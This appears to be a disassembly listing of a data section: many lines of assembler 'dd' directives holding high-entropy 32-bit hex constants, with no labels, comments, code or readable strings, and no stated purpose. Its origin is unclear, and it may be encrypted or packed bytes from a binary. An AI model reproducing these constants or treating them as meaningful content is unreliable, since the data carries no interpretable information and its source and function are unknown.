		dd 6C810F74h, 5934A081h, 1D9900B0h, 0B4F653ACh,	9E173D6Fh
		dd 6BBE7BE8h, 51E575Ch,	3B3EFBB5h, 4DC404BBh, 7F1131Ah
		dd 6FAB8014h, 3A18057Bh, 5EC38CE4h, 0A2ABF4F1h,	6F6A97C3h
		dd 0F9ED047Dh, 0E8C81D9Dh, 4EB74F06h, 3CEF25B1h, 71125EA8h
		dd 236D6BFBh, 8F80381Ch, 5B0E96E6h, 3809289Fh, 0DF1BDF80h
		dd 0D7814F20h, 0B9D7A0Dh, 71C8FB04h, 0EA302FF3h, 9FC19D0Bh
		dd 86276B72h, 0F69B56B8h, 2022DFEh, 0F3C8B28Dh,	0FDFEC057h
		dd 815B801Ch, 9A95E73Ch, 0B76017D1h, 0B42980CDh, 0B952A6F8h
		dd 0F49FD377h, 0F871AFEAh, 0A3A50300h, 2CFD78h,	61F2E4E0h
		dd 295B191h, 99BCE54Fh,	0FF54A44Bh, 0F099B523h,	73124361h
		dd 704630Bh, 9D4E251Dh,	7E532BA9h, 0BB088992h, 0FC912219h
		dd 7A508908h, 16E54688h, 0B0786617h, 1B05B7C4h,	600B8CA9h
		dd 0A42F55CDh, 0BD001798h, 0AE039548h, 1B445D8h, 0D4024A34h
		dd 289ADF8Eh, 90EA96ABh, 1A4263D1h, 357FB200h, 0C154BD0Bh
		dd 3B2D16F8h, 6024EF38h, 2EC2A1DBh, 0E5C0D002h,	0B1AC2761h
		dd 22DD565Ch, 136CB004h, 0A35BF25Ch, 0CF81014Ah, 2BA25792h
		dd 2E50283Ah, 25213389h, 31602E51h, 0A45089DDh,	17D98B53h
		dd 0AF966159h, 0EF2BD330h, 809A007Bh, 0BFDCC96Fh, 6E1798D8h
		dd 9EEC5F0Fh, 0E92FFD12h, 8C19BC5Dh, 412F7700h,	23FBF670h
		dd 0E4E15F9Dh, 0AD27BDAAh, 80274E10h, 0B5E96B85h, 0B55417F9h
		dd 355F21ABh, 0F530A514h, 6009853Dh, 7DF921B4h,	0CF12D16Ch
		dd 0E5F290EFh, 0F0A53A88h, 5F758107h, 0E1DD352Fh, 0E4096ECEh
		dd 0F13DF5C6h, 2653909h, 5D2749A0h, 0C40B234Dh,	9BCD5DF1h
		dd 0C85101E0h, 0EF4B0028h, 0ACF7211Bh, 59ADC18Bh, 66BDBF62h
		dd 658E0053h, 0AE89E967h, 83592C86h, 0BD2B8250h, 5869E4C9h
		dd 28277E09h, 5BA0204Eh, 50811A49h, 6E0F9173h, 0EE572B2Ch
		dd 87B35C21h, 7BF2F53Eh, 1780AB9Bh, 396437EFh, 0B12CFC0Bh
		dd 40F8EF2Ah, 0CB2B9FD4h, 0CA52510Fh, 6AB7640Eh, 0DD2CDBBEh
		dd 38A4DFC2h, 810840EDh, 1094A41Ch, 4019D742h, 129D14A0h
		dd 44AB551Ch, 0C1607DDEh, 2326AFBh, 29D4A3E1h, 0C348A586h
		dd 882DEF80h, 17127A5Bh, 0BEF0A1F3h, 5EF98E62h,	355FE9FCh
		dd 0EE770EC7h, 891DC76Eh, 8D842631h, 70C4AAD1h,	7EA2D1B8h
		dd 0ED026A22h, 0FBF1E989h, 0B7B4F0AFh, 4D0305FBh, 0DA1EABB9h
		dd 4E97FC31h, 0B0C4B2C0h, 0C0021F5Ah, 0A2CCB965h, 785E5078h
		dd 0DB905AB3h, 62358F78h, 0CC4008F3h, 8B60019Ah, 550EB8CFh
		dd 0BB506035h, 0D91E2401h, 104AE975h, 4C0D2C3Ah, 1DE2D743h
		dd 7EAD30h, 0D329BBEDh,	90CBDC12h, 71F98A2Dh, 0E91354C9h
		dd 0E5B075E4h, 876500BFh, 0B3905C60h, 0F5A35083h, 0C0C0DBB5h
		dd 54ECF7E1h, 6D612576h, 8012EDECh, 0D3F109DFh,	18A7E3Bh
		dd 61FD1712h, 0C61572Ah, 69C4066Ch, 5C5F0B1Ah, 81F4EB90h
		dd 0A93301DCh, 17478B4h, 389360A6h, 4E214A40h, 0E8BEF929h
		dd 2290938h, 966420B1h,	536AE200h, 0B9719414h, 259E0670h
		dd 0DCEFAAAEh, 49E59D5Ah, 351D622Fh, 95A55029h,	5D08DB74h
		dd 1FE0252Ah, 0E42018Dh, 0BD25C44Eh, 53897B1Ch,	64804378h
		dd 0EA3FD063h, 94E87D5Eh
		dd 81B1B45Ah, 0EA631845h, 0EC547200h, 0BCF7B1A3h, 835F6B00h
		dd 5768C369h, 1416725Bh, 0D4BA28C7h, 0FC60C1C1h, 8D7D40E8h
		dd 79E47E17h, 72591600h, 0B6D1C595h, 0EC1E4E43h, 27062002h
		dd 0C77C615Bh, 0C148A947h, 3A8D29DAh, 4C2BDCE4h, 4B78BBC8h
		dd 808BF921h, 0CEAF47B6h, 77323B58h, 21F91980h,	8A5031E5h
		dd 330FED17h, 3760608Dh, 5B2317DEh, 0D1250C76h,	340F57Eh
		dd 147450E9h, 9AC50AE3h, 12C22071h, 4BD4BF29h, 37C4B257h
		dd 85F65DEAh, 890A95B5h, 837FEE0Ah, 50794BD3h, 18012C10h
		dd 0FF174DBDh, 189FD03Bh, 32FE8B7Bh, 0F50F34E9h, 6665F95Eh
		dd 0D7B88912h, 0AF82BFA4h, 0CCF45E6Eh, 0E934E77Ah, 5742BAB7h
		dd 0D721E5BDh, 4720DD14h, 10549753h, 0C9CD2E4Ch, 93F46AD1h
		dd 0CE2700DEh, 0D2C5FC20h, 8D3C3160h, 109852FDh, 945F0DC9h
		dd 0DCE2EEB2h, 37C6BD3h, 78F2E5D8h, 608BB012h, 28F8E67Ah
		dd 98C047BFh, 578D4943h, 47B03046h, 0E102E335h,	53BEA2E2h
		dd 25D75E68h, 0CCC0C44Dh, 5F1B7FBh, 0AE441AA4h,	0FCF60B9Bh
		dd 55CB9C4Dh, 316C53C8h, 152E0090h, 0FF49EF02h,	0C2B841E1h
		dd 60BE6F75h, 0C5EEA11Eh, 8AA13C4Bh, 0AAA1BC77h, 0FC207F4Ch
		dd 3DA16578h, 0D98190EBh, 745243CAh, 0D685D0B3h, 0C2DB8B4Bh
		dd 963A9A4Bh, 884EF3E9h, 340790E3h, 0C49262C6h,	0CCBC0F64h
		dd 0B841B996h, 3D670129h, 0A1AEEA46h, 0D6EB3CDEh, 7071B2h
		dd 209425FCh, 0C9E5A942h, 41C7EA02h, 760EEF58h,	8B55CB30h
		dd 5A905C90h, 47B1CD55h, 8CFA4083h, 747AE332h, 3B8AB558h
		dd 0BBF85A62h, 0BA1D2BBBh, 0E9F2DC00h, 1CDB8F6Eh, 672981DFh
		dd 0D50882DEh, 13B80125h, 2A375A94h, 5313781h, 0DAE82479h
		dd 0F5AF9403h, 0A468F275h, 0B58061E8h, 25910D92h, 0E5F79725h
		dd 25B01CE5h, 0F455FEh,	2C25843Eh, 3AF23F28h, 0A43D1654h
		dd 0E31A9D02h, 5E8F501Ch, 1646D4E4h, 5440CA0Bh,	93D9882h
		dd 7EA77D0Eh, 0B5DDA556h, 0A74C2534h, 0CE512F0Ah, 23AC602Ah
		dd 0ED027E3Ch, 0FFF5429Ah, 0DCA4FCE1h, 0F9CB234Bh, 4C053310h
		dd 0BAECC0F3h, 40E43Eh,	5532B6EEh, 0EFD6419Dh, 5323BC04h
		dd 0BEEFDFFh, 96DFEACCh, 52256994h, 0C2C76D7Dh,	2E96021h
		dd 8D558908h, 0E9A5549h, 0B8C4345Eh, 0BA45FA57h, 0E2B6605Fh
		dd 0B8A6AAE5h, 0FA52C975h, 0C1AD39D0h, 0B6AB06E0h, 0F95E02B5h
		dd 0D46E0CE8h, 9D016CD1h, 2E20908Fh, 0A1F0B5E4h, 9671ECABh
		dd 0C1F9273Fh, 0FDC7F311h, 0DEF2608Eh, 33FDC902h, 5FEA0CA4h
		dd 10D2E581h, 7E123A5Bh, 7FE6EBFh, 62CFF00Eh, 0A9A3EFF3h
		dd 0B9701813h, 0AC034B41h, 15BC464h, 0E912D110h, 0D6D4BD0Bh
		dd 0CEE38702h, 0D62A74B5h, 0F2261446h, 84D8138Dh, 0E017A6F7h
		dd 5DF1AA1h, 0E7806236h, 0E869E9A3h, 13FE259Dh,	528977C5h
		dd 0E0E460h, 0F72B8B5Ch, 0D1DFEB86h, 665EC818h,	550F61C8h
		dd 0AD2B1531h, 833A0575h, 0E3BF1FDAh, 0CA004B7Fh, 1DEDC3BBh
		dd 0A613977Eh, 0E3398DD1h, 4989B381h, 0F26EECEDh, 581FB513h
		dd 0BAB862A9h, 0D66F2700h, 0C0EAD87Dh, 0E8DE1186h, 28240205h
		dd 75A7EFC7h, 5BE19B62h, 5B74070Ch, 88D272B8h, 0D4390C72h
		dd 0DE5400A0h, 5DFA7D98h, 0FC5800A8h, 656D9BDDh, 1A9D2344h
		dd 0AAC1FDB4h, 2244308h, 0F33AF685h, 0C6809CF7h, 9D97C623h
		dd 0C398B41Ah, 7A03226Fh, 47620DBDh, 69D82F5Bh,	0FA5F5D04h
		dd 22A0AF8Ah, 95003C02h, 5185D46Fh, 4A1DBD03h, 9929BF16h
		dd 6BA9EA2Dh, 40DE56B5h, 8209F1D8h, 0BD764C7Fh,	7697BE50h
		dd 0B69BDC29h, 65DF9F80h, 2D42FD3Eh, 0C5FC7DA4h, 6108990Dh
		dd 8912887Bh, 0D9B788C4h, 762911D8h, 0F1FFD295h, 76238Ah
		dd 36679CE7h, 0E614697Ah, 0EA2201BFh, 4C9D8E62h, 0AE8D3FB4h
		dd 972F3D4h, 5F2C3520h,	0B544C4FDh, 0BAF3759h, 1BCB786h
		dd 1EAC7286h, 6143C4BBh, 426D1327h, 1B4FD784h, 2390E860h
		dd 2EB1C7h, 689846BBh, 320B9E34h, 548E0FDDh, 279B5009h
		dd 48663Ch, 1F1EE8CBh, 0C478A4h, 0B9DFC346h, 89A1D326h
		dd 0CB8AC0B7h, 22EC2565h, 99C1024Dh, 323AED67h,	0D2985092h
		dd 380712D7h, 0E06846DBh, 0D552201h, 27611060h,	9E4A413Eh
		dd 4A530568h, 0FEDD7697h, 0A40543F8h, 5CFA729Ch, 5D8D10C1h
		dd 0C68101EEh, 68E5CC6Ah, 37976171h, 873E0209h,	4FFD0EB7h
		dd 0B64C695Ah, 33E52B02h, 0DD17F1BDh, 5B708A1Ch, 1AB63FE1h
		dd 0E9F2FEF4h, 4FE9180Dh, 0F2B6361Fh, 937D59ABh, 0A826EB01h
		dd 1E9127C4h, 0A7D254ABh, 0D2AD9D97h, 466B55Dh,	0BBCE8630h
		dd 6C093B6Eh, 7E00A3C7h, 3C48B2EDh, 6AD4109Fh, 0DE020064h
		dd 0D584EEFEh, 18001080h, 0CD7813BDh, 9DBA6B39h, 8038BA14h
		dd 18A94B04h, 4F74FEBCh, 914C6801h, 504E6476h, 2400CF63h
		dd 0D3ADAE3Eh, 21000316h, 0B86C0DCFh, 3686B57h,	3A81DEEFh
		dd 23928D09h, 30976447h, 18C7BFBh, 0BF66A1E4h, 6B3A2CCEh
		dd 1C23FFh, 0A75B3616h,	0AF122057h, 75EEF041h, 0A79FF643h
		dd 3D97BB10h, 7CB00936h, 93D0918Ah, 6237CFB5h, 0CE5DBD49h
		dd 22D92230h, 75D7B725h, 0E900B23Dh, 482FA86Ah,	4A937517h
		dd 3F7D81BEh, 0A9A92B8Eh, 2E0092FCh, 2F75902Ah,	0BF6BA75Fh
		dd 275BB3D0h, 0AAB463A8h, 1709A16Ah, 5A51749Fh,	8BB8603h
		dd 6B29E8B8h, 0E7360A8Ah, 0AFC3E0D1h, 16F6B87Ch, 0C4CFD71Eh
		dd 0A571CCF8h, 500EFCB7h, 6C05F4E4h, 8A0F0171h,	35B21616h
		dd 8BAAE00h, 14823C81h,	2588450Eh, 6FF9365Bh, 28C15ACh
		dd 29606EC9h, 0C45C658Dh, 0B2524145h, 0FBCF65EBh, 762DD1C2h
		dd 0F5F9E96Bh, 58C899Dh, 0E1801917h, 8256E814h,	1A8A76E7h
		dd 10CB5DFh, 6BB72571h,	363308h, 1B8C1903h, 27B462Ch, 7A44F6A3h
		dd 75401E4Fh, 825DFCCh,	89A750Ch, 0D06289FFh, 0BCBDB56Fh
		dd 96EF712Fh, 0B97A6Ah,	5B28F816h, 952FEAE1h, 9AF82D62h
		dd 5431519Fh, 688E8700h, 4599C878h, 0D52E4AFBh,	407ABBA3h
		dd 0F82C0972h, 0D98B2B6Eh, 0BF96C020h, 9458805Eh, 0FC8A1E04h
		dd 9378AA6Bh, 0ED1D0AA0h, 0AD802298h, 796023CFh, 16E0B5F8h
		dd 56C5BD29h, 0D7C1ED7Fh, 2AE6ABEh, 0E18D898Bh,	991C5F33h
		dd 0B8B2344h, 0D9D2BF9h, 0FF501424h, 0C0FE0D95h, 585A9C03h
		dd 602EC99Ah, 2D118456h, 1B505B2Dh, 0B8036149h,	0CFE08C1Dh
		dd 0EC2AF200h, 0B96D6719h, 59D79004h, 0AC4B0D9Dh, 0CDEBF5D3h
		dd 0F1F66B0Ch, 55EF810Eh, 88F8A233h, 0F090A525h, 0AA16327Dh
		dd 9BF377Bh, 1D902AEh, 1808A1C2h, 0C31783BFh, 7BEA3FC2h
		dd 60984EE8h, 1EB10CD8h, 7DFE37E6h, 25E91240h, 0CA5AF0B5h
		dd 55300D2Fh, 1A14601Fh, 0B1D78033h, 0E6490F63h, 815601E7h
		dd 0ED8AF3C7h, 14BC7B35h, 3E6680D2h, 0D69F0136h, 509089D7h
		dd 0F1F3E47Dh, 0F56E0C21h, 0B17A2F67h, 3F0F203h, 7390DB9Bh
		dd 4414D163h, 27CBDF8Bh, 0DDAE09C5h, 0B6E47B4Dh, 0C068A92h
		dd 0E9209CE6h, 0DE8B2D19h, 2F6A6D4h, 0F68B7982h, 24C8107Ch
		dd 209D574Ch, 12BF314Fh, 3B3D27E0h, 0BB090952h,	0B790A72Dh
		dd 0D3B480C9h, 94328FCFh, 48BE876Ch, 14DF0681h,	104E687Eh
		dd 76B7FEF8h, 1952D4BBh, 29EA0036h, 0A92332CCh,	0B4B609BFh
		dd 4D5D5A47h, 8CC49A6h,	884DF802h, 56D1FFBDh, 0B100DC91h
		dd 3075A310h, 1332E673h, 0B260B3A5h, 539E893Ah,	0AB97D8AFh
		dd 0A4B25100h, 0BB872F2Dh, 8CE70545h, 0FB026A53h, 2509356Eh
		dd 967066F6h
		dd 4E451841h, 0F8D352ABh, 0B9F1307h, 0FFC0B8F8h, 7D4C7475h
		dd 0FCB18603h, 0B85A5EE4h, 0F0C3DD34h, 9D0B1290h, 7B70A109h
		dd 19B296F6h, 7307984Ch, 0D9DD1AAFh, 96E9F5C1h,	3FCACE6Eh
		dd 53192FA6h, 7AF7782Ch, 0A74E303Eh, 0A4E7D68Eh, 266509B6h
		dd 0FCF4F456h, 9D147E6Eh, 0CBF37DBAh, 9DF98C50h, 0D1697CD4h
		dd 107FA520h, 9CF8126h,	0BA26445h, 0D7AD64D9h, 4701D8B7h
		dd 0BCB3BF91h, 80E6346Fh, 0ADCA16C8h, 2860CE97h, 0B068A0Fh
		dd 20CD8501h, 2C61E577h, 0B200D6D2h, 0FC9B0645h, 1752C0B6h
		dd 10FF6A03h, 0BB5DD51Eh, 392CCC4Ch, 0D8CEBE83h, 9881B39h
		dd 0ED3D5485h, 3B3E0B0h, 0BF70E6EBh, 0FAFDBB21h, 532F5C89h
		dd 8033ACF4h, 0AB2F018Fh, 59880989h, 48DA4FACh,	2923EC61h
		dd 5FA6D195h, 212D3CA0h, 0E02500F1h, 7A7E6995h,	0F06E97BAh
		dd 0EE6B2D00h, 0A87FEFAFh, 0DE3005EAh, 82029D1Ch, 92F729B4h
		dd 5DA35DB8h, 63A43D95h, 0EB53848Dh, 0F0D1530Ch, 0E91140C9h
		dd 2288985Bh, 0FAA1A331h, 0CDF9904h, 1A5AA614h,	5E436595h
		dd 0BD0306F9h, 0E2BD7B19h, 0F81B5D91h, 5991212h, 17EE32BAh
		dd 695BB10h, 2D9D03BFh,	4D44972Ah, 228B5E53h, 0D765BA4h
		dd 0D9FBA96Fh, 4034110Ch, 0D4B19FFh, 0E29802E2h, 604BCE5Ah
		dd 4F047BCCh, 7741FBD5h, 2D358D03h, 9529E62Dh, 0F8B78986h
		dd 0D4091FDBh, 0FC305D61h, 0E704CD66h, 17CB314Eh, 2E50E113h
		dd 17C8C29Ah, 0D2B141CFh, 8A855658h, 13B95BFEh,	41C7A4A5h
		dd 0E1F51362h, 0DC4A5CFCh, 4CFC5A34h, 57DE00C9h, 720F7AB7h
		dd 7A6E20D6h, 2509A771h, 3E61F1B5h, 4F77C2B8h, 0E8C6564h
		dd 0A27398E3h, 0D98A12BFh, 19FC51EDh, 279D028Ch, 339AE408h
		dd 0B554E67Fh, 0EEE35FE1h, 25553341h, 2CDA6EE5h, 28C41488h
		dd 32256084h, 0BC2D64BBh, 0D7F39776h, 778A5731h, 592B3A5Fh
		dd 0B83CBF02h, 83530AF4h, 1B56470h, 0ACBFA4B4h,	0D6DA2375h
		dd 160204FFh, 22EC8EAEh, 14BF7642h, 0FE7EC082h,	0A91782DEh
		dd 4D575289h, 601D64CDh, 68050Ch, 55BBE9B9h, 0FF24E06Ch
		dd 189FE164h, 0D9AD38BAh, 5F7045Bh, 985B91A0h, 4FB8504Eh
		dd 0F1D781C0h, 1C058BFBh, 12B59509h, 4013E62h, 4BF550B6h
		dd 7122A18Ah, 6001EF9Ah, 0E86CD381h, 152F0CF3h,	60BC6A7Eh
		dd 7D8A4004h, 49C4CF64h, 4F4C50B8h, 0F3279912h,	163122Bh
		dd 0C113677Bh, 688AE53h, 5B5F2F56h, 155257Ch, 0F2C2FDBEh
		dd 336BC05Fh, 6AD4DA4Bh, 94059EBAh, 5EE70512h, 20AA90FBh
		dd 0B9FF2FFDh, 44870600h, 0CE52AC5h, 2BBE250h, 46E080Eh
		dd 1FDB905Fh, 0D154F670h, 1CAC583Ah, 0B8F0C109h, 40F3589Bh
		dd 7A046807h, 60F2AF86h, 0F20F8FC3h, 4090F557h,	0B200A909h
		dd 4DC0776Ch, 0EE08BFE0h, 7A840125h, 5E04378Fh,	56012B61h
		dd 0D6F7D85h, 84039B3Eh, 4EE27ACh, 112D1B1h, 8018D29h
		dd 0E674AF14h, 7DDAF8C9h, 0AC487F4Dh, 0E90545E0h, 23B9228h
		dd 0AD3ECB81h, 335E2548h, 0DAA0532Dh, 208B1256h, 2CF9FFh
		dd 5E34A819h, 9203BFAAh, 2291E05Fh, 5E8A97Ch, 5C736610h
		dd 0E281A82Fh, 5C00CA69h, 4653AF63h, 7C83D0DBh,	5EF0B86Fh
		dd 0E17F7016h, 9D016ACCh, 55EBA4F0h, 1C6B14DCh,	0FA8334F6h
		dd 3B664AD8h, 3E93EE81h, 4629EEF9h, 0C8A8E639h,	0C5A0AB00h
		dd 315D8BFEh, 3DF2B59Dh, 9842351h, 0B50485FBh, 29BE0369h
		dd 41B9FF31h, 8D986B02h, 8FD105DCh, 0BE58F924h,	10AD3B16h
		dd 0D65D2DBDh, 0BF502300h, 9752958Dh, 0BB456AAh, 167508A9h
		dd 0D4C99CF6h, 7797A503h, 10FD9285h, 761A0DFAh,	26719510h
		dd 0EAB66800h, 59B38CB4h, 490BCB92h, 0FB736A19h, 1AD572A2h
		dd 6FA5D0Fh, 0F6EA5C95h, 9D236C04h, 30122AA9h, 0B88E579Eh
		dd 71DB1901h, 984D0856h, 15071D3Ch, 1357508Bh, 24F5B52h
		dd 500346Fh, 68633CF0h,	31091DF7h, 5F2F2D95h, 189135B7h
		dd 7737F80h, 312E78BDh,	61456FB5h, 93E5EFA6h, 0BEE51943h
		dd 6A6F1A6Dh, 361101E7h, 0F71ED07Ch, 25BF1B70h,	147556DBh
		dd 0AD4A4AB1h, 9E6EC8Dh, 0ADE1549Dh, 8AF48409h,	9FB27AAFh
		dd 0D27858DBh, 0FF76253Ah, 95745AE7h, 700CB35h,	0C51083F8h
		dd 1AF3016Eh, 0FDB501D9h, 0FE8A0028h, 4DBD170Bh, 9A7AEF25h
		dd 1CCEF712h, 533281ADh, 2F21BD2Bh, 0B8A41CECh,	5FAA345Ch
		dd 5F89E509h, 972C0D1Eh, 1FF64B03h, 84ECF231h, 0AB3DBD09h
		dd 0F6F5C4E6h, 0F8460E9Dh, 35B05378h, 7B094111h, 0DF6173C2h
		dd 143D2338h, 0B3B72785h, 97B2CF12h, 62091700h,	56A39BEBh
		dd 0DFB23A00h, 0BE261A9Eh, 0A9AB0B8Fh, 547CCD7Ch, 0AF9DB5E9h
		dd 2600C9D0h, 0BFF67816h, 3F920FFBh, 89178021h,	5461BB96h
		dd 8EEC09DCh, 0E46807BAh, 6026DEFAh, 96619D50h,	3EFB79Dh
		dd 0F5239EC6h, 584567F9h, 21EC29DFh, 80B9034Fh,	0AC30D4B4h
		dd 6CBAD9B3h, 0FD8B172Eh, 44AEC14h, 0E826EC29h,	2790E393h
		dd 0D25F357h, 2099F1B5h, 44DC288h, 0DEBC7Eh, 6C2DFBB2h
		dd 33D18D29h, 0FAFB97h,	88801D65h, 0C5255A16h, 251AC5E0h
		dd 8809D962h, 8180A359h, 0E68F0BEBh, 0A6189723h, 0AAD4D88Bh
		dd 5FB15E9h, 9CDA96BDh,	90C017C8h, 0BDDA88F4h, 3453BD10h
		dd 30C2DB00h, 6735B366h, 0A7773BF9h, 0BF5D2400h, 1D18D34Dh
		dd 0B8E23990h, 5FCF8E00h, 0A9BE665Ah, 0B6617C9Eh, 0C4D64084h
		dd 6D04E194h, 814EF783h, 61CA0581h, 0BFC4D06Eh,	4250B69h
		dd 20966E01h, 6609272Dh, 7D32CABBh, 3849594Dh, 30DEF244h
		dd 0FA520DAEh, 0EB2580D6h, 1139C575h, 37C84B54h, 0B9570086h
		dd 326C5F6Eh, 374B5D03h, 0BBC0CFBCh, 1A72AAA8h,	803C5F49h
		dd 7D4DF781h, 0EA164E1Bh, 7DBF7Bh, 828A8F17h, 89377662h
		dd 0F729B6C9h, 0C3122796h, 44E390E0h, 0D1158758h, 0CF9C172Ch
		dd 17694C7Ah, 89824971h, 571CB185h, 0CB3BAB67h,	28EC22B9h
		dd 33227E01h, 0FEF11163h, 8AA6F93Ah, 1A09CFDFh,	0A4CFD7CEh
		dd 0D98F0242h, 14CE00E7h, 8A11BA21h, 0DB950DEAh, 181DD98Bh
		dd 2854BD02h, 0F701C1E8h, 0BEE9DFA9h, 0F664C46Eh, 0F2FBE5AFh
		dd 3E09003Fh, 5FBFF7B9h, 5E930AD1h, 0DE8FC18Bh,	29458305h
		dd 0F842119Dh, 5C5ADB80h, 81BF60A6h, 244E2F87h,	2B1D3EBBh
		dd 0C6029017h, 0C2221C35h, 5DADFD2h, 184A36B2h,	0B660A220h
		dd 0DA5153B3h, 0A102B907h, 0E81180AAh, 615F5BD4h, 0B7A04BE7h
		dd 0B604DD39h, 2E1F48A7h, 960DA7C3h, 0F97017F4h, 0F2A7E619h
		dd 73D95FF8h, 2ECB8004h, 6E4BCFB8h, 0D4A40E40h,	0C03FC1F8h
		dd 5E706C45h, 5001405Dh, 8CBA85E3h, 23BB5B92h, 1A84D102h
		dd 81AE0272h, 4AA84422h, 0A456B7DEh, 0FB09ECC3h, 0C94A48BCh
		dd 6CD49571h, 0D462DE52h, 0F79AF016h, 70AD8100h, 18B35BE2h
		dd 2709830Fh, 0F7078A60h, 3907C5BAh, 2ABB61B5h,	0DADF81FAh
		dd 837189F3h, 760F906Fh, 7E16390Ch, 319BD1FFh, 12633A85h
		dd 2AA9C2h, 784CBB52h, 9E5F1284h, 0F81816AFh, 207CE201h
		dd 20EA8160h, 13B63809h, 27505F5h, 58B88BADh, 0F84D7612h
		dd 88EE1617h, 0FB5B8BF0h, 0B5B9FB85h, 5409B5BCh, 0FFCBBF19h
		dd 0CCAD5435h, 0C7600E5Fh, 0E3B2E917h, 87A89D4h, 17DC2FCAh
		dd 0AE279CA7h, 771A3F09h, 0B8E0A14Dh, 0B755C4Eh, 9FF36953h
		dd 3A80D28Fh, 8531170Fh, 0F31D012Dh, 2094A83Eh,	905E1729h
		dd 7D7960C8h, 129D740Ah, 88035A3Ch, 3D006A19h, 0F765DE6Bh
		dd 0A50910h, 668C0E41h
		dd 883F3E97h, 8D505B26h, 490C1960h, 0C34C09B2h,	4C7D6F9Dh
		dd 49099582h, 0BD97B85Ah, 0EE138027h, 388ED747h, 0C6FD2725h
		dd 6AF93CCFh, 0DABF0F09h, 1B0B9DDCh, 752E822Eh,	677BDF33h
		dd 5FD8478h, 4D6D13C0h,	0BF08C12Bh, 157DE4FAh, 0F5D43197h
		dd 25E939A8h, 0D4C40D01h, 207BB841h, 97D6F9E2h,	1584AE1Dh
		dd 42875B4Eh, 0E18971E4h, 8C6F197Ah, 35C5CA34h,	42BEF88Bh
		dd 25C9851Fh, 5BEFD009h, 625E626h, 28B1BD01h, 355AB523h
		dd 34031C12h, 0CAC848BBh, 0F00873BFh, 440B4F3h,	81F5D18Bh
		dd 9121CD1Bh, 166588DBh, 870AF85Dh, 5F164C44h, 88134B19h
		dd 0FBA160B4h, 85B5F4C2h, 1C61A1CDh, 5DD2F02Fh,	0B38C2E4Bh
		dd 81B28B1Fh, 5095525Ch, 994E0BE4h, 0C866DF5Fh,	0CD058CF6h
		dd 39E97F86h, 0BBACAB24h, 7F8F4D8h, 9932D628h, 0DB03312Dh
		dd 4A1D11C7h, 0A442BFD9h, 0F4FA55C1h, 3BF7280h,	19B6F712h
		dd 0A413AEE6h, 0ACCCBA71h, 2BD300D0h, 0F66B47Fh, 0B5091432h
		dd 0ED6A8764h, 386AE358h, 4455A99Ah, 0D22B00D1h, 0FB1CBCFAh
		dd 31772F67h, 75A79904h, 34ABFE8Bh, 65B0AE05h, 495D00F5h
		dd 0CDDBD521h, 16ECD88Ah, 22EBD15Fh, 0FBDD5B6Ah, 0DE11960h
		dd 64C43AB9h, 0E33DE6ABh, 4A30A7F1h, 5E763347h,	0AD590B86h
		dd 2BB419F5h, 5AEB77E6h, 0E080A6BCh, 3E8A6A03h,	3581701Fh
		dd 0F571382h, 4A56328Bh, 6911D6F8h, 0DDE4652Dh,	0C02BF744h
		dd 0E394D7B8h, 4E1A3D10h, 0ED4AF4E3h, 25FFA403h, 0CE089B85h
		dd 70E749CEh, 856F95D3h, 9B838A44h, 5F9EB2C7h, 0CE84F910h
		dd 0F7F9E700h, 0FDBC11F4h, 68640BC8h, 6CFC30FEh, 804DBD49h
		dd 0C463B828h, 0F713E443h, 651E01F9h, 6983D1E5h, 2150E7D3h
		dd 20FE12D8h, 0BD7BE88Ch, 16D96A2Eh, 5988FCA2h,	239B1E6Bh
		dd 69A700A0h, 0DDA6CD3Fh, 0E5338D25h, 50731121h, 2FFB2D26h
		dd 11CE38A9h, 5DA9A410h, 292F6DB8h, 49977E89h, 0E1FF4882h
		dd 12DCA57Eh, 2F8DB9Ah,	98E9EB18h, 0EF0F157Bh, 28244523h
		dd 0E2D222ACh, 0B7E78F52h, 0FB87B39Eh, 64119686h, 906BD20h
		dd 2FF5B509h, 0CAC64C79h, 25279463h, 841D4DC5h,	0D0BADB2Dh
		dd 200C086h, 0F9D11EA2h, 1023C2A9h, 2F047D9Dh, 0C058CD60h
		dd 8D894DFAh, 4801AD31h, 132FDD8Ah, 0DB940293h,	0F375E180h
		dd 0D8987033h, 0C2E8FF00h, 0CF723B6Fh, 77BB0454h, 0BD01D4D9h
		dd 9D032297h, 0ED77F409h, 0E0944868h, 12E7E1CEh, 63952804h
		dd 74BC3F53h, 0B9E613D2h, 4748CCh, 1BF1B014h, 0E00ABF50h
		dd 0A7744FC1h, 0E7ABB54Eh, 0ECAF4DB3h, 0FB400BF7h, 2057579Bh
		dd 4E70684Ch, 1292F57Eh, 8F6FB0DAh, 64A0B512h, 0FAE0CFE6h
		dd 809809Dh, 8257C147h,	401790Bh, 3DE6EB5Fh, 0E2893F25h
		dd 6189CF75h, 20F820EAh, 1840D1ACh, 38A49E9h, 60378D4Bh
		dd 0C5BADC8h, 15F218B6h, 97525B30h, 0BD7FDB09h,	9F058105h
		dd 7F163012h, 0C84A48B9h, 0BA0A01AFh, 934AD1F1h, 1A520D17h
		dd 8216FC1h, 0E05ACA2Bh, 3987F8CBh, 0EB0225D6h,	689F94Fh
		dd 0F6E2006Dh, 0A184754Eh, 0D222BD2Ah, 465C0118h, 0DC27B404h
		dd 0C14FF49Fh, 2B15CF80h, 4496EC8h, 0BE1186DDh,	0C1F3AAC0h
		dd 2EE9DD4Eh, 0A2BE1E34h, 8C680407h, 74A3CBB6h,	0A2627600h
		dd 68FD1C3Eh, 1A52011Eh, 5A81860Ch, 0D4B52573h,	0EEE0A64Dh
		dd 972FBADFh, 8D291A00h, 0DB9507E1h, 8319FBFh, 9013134Dh
		dd 5B33E7B6h, 0AFECDEEBh, 0ACE9B21h, 0E462B726h, 610328E5h
		dd 1A05E929h, 21833D2Eh, 0AB447AE1h, 0F4AE8B60h, 94956178h
		dd 0A7405B52h, 0DEB9B092h, 0BD8712Bh, 0C8F7803Fh, 8A04E9D5h
		dd 72771F2h, 70C6AD33h,	1DD51B43h, 9589F01Ch, 5C5FBD72h
		dd 734B7760h, 4D6850B4h, 0C229F80Bh, 8740B766h,	397F9609h
		dd 14117DDEh, 0ADB1851Dh, 6270C7D6h, 9AEF9504h,	25898A43h
		dd 6DC70852h, 8F5F331Ah, 0DF05AB36h, 4D096596h,	0DE9D8979h
		dd 575BA5FFh, 8E181959h, 95B9C497h, 8651941Bh, 67DC6B72h
		dd 88504AF5h, 27EE44ABh, 992BC502h, 6A138F96h, 88D35D2Fh
		dd 0D9D2902h, 0F996551Eh, 4F8E6D9Dh, 342ECEBFh,	0BCD0CA22h
		dd 7B93C85Dh, 0AFC5D203h, 0D801097Bh, 3CE61594h, 4ED2E019h
